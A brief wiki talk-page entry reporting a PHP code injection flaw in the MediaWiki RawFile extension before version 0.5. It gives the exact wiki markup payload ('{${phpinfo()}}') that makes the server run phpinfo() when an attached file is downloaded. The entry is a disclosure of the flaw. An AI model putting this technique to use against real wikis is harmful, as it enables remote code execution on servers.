Talk:Mediawiki RawFile
Revision as of 16:03, 13 February 2014 by <bdi>Fuujuhi</bdi> (talk | contribs)
Testing PHP code injection on Rawfile < 0.5 :
Adding this code to a wikipage:
<nowiki>{${phpinfo()}}</nowiki> [{{#file: myscript.sh}} as myscript.sh] <source lang=bash> #!/bin/bash echo 'Hello world!' exit 0 </source>
and trying to download myscript.sh will execute phpinfo() on the server.